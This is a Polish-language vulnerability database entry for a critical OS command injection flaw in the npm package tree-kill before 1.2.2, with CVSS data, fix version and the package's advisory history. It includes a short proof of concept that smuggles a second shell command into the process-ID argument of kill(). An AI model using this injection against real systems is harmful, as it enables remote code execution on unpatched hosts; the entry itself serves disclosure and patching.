Krytyczna

Treekill Enables OS Command Injection

Ujawniono: 24.05.2022
Aktualizacja: 11.10.2026 10:22

A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Steps To Reproduce:

Create the following PoC file:

var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in terminal:

bash

npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

The HACKED.txt has been created

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

Platforma	Paczka	Podatne wersje	Poprawka w wersji
Paczka npm	tree-kill	< 1.2.2	1.2.2

Odnośniki

Ocena CVSS 9.8/10

Wektor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Słabość (CWE): CWE-78
Platforma: npm
Paczka: tree-kill
Ujawniono: 24.05.2022
Aktualizacja: 11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-j7fq-p9q7-5wfv - CC BY 4.0

Historia podatności: tree-kill

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów: 2
Pierwsza → ostatnia: 09.2020 05.2022
Bez poprawki: 0
Wykorzystywana w atakach: 0

Rozkład istotności

Krytyczna 1
Wysoka 1

Ujawnienia w latach

2020: 1
2021: 0
2022: 1
2023: 0
2024: 0
2025: 0
2026: 0

24.05.2022

Treekill Enables OS Command Injection ten wpis

Krytyczna · 9.8 CVE-2019-15598 < 1.2.2 1.2.2
04.09.2020

Command Injection in tree-kill

Wysoka CVE-2019-15599 < 1.2.2 1.2.2

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację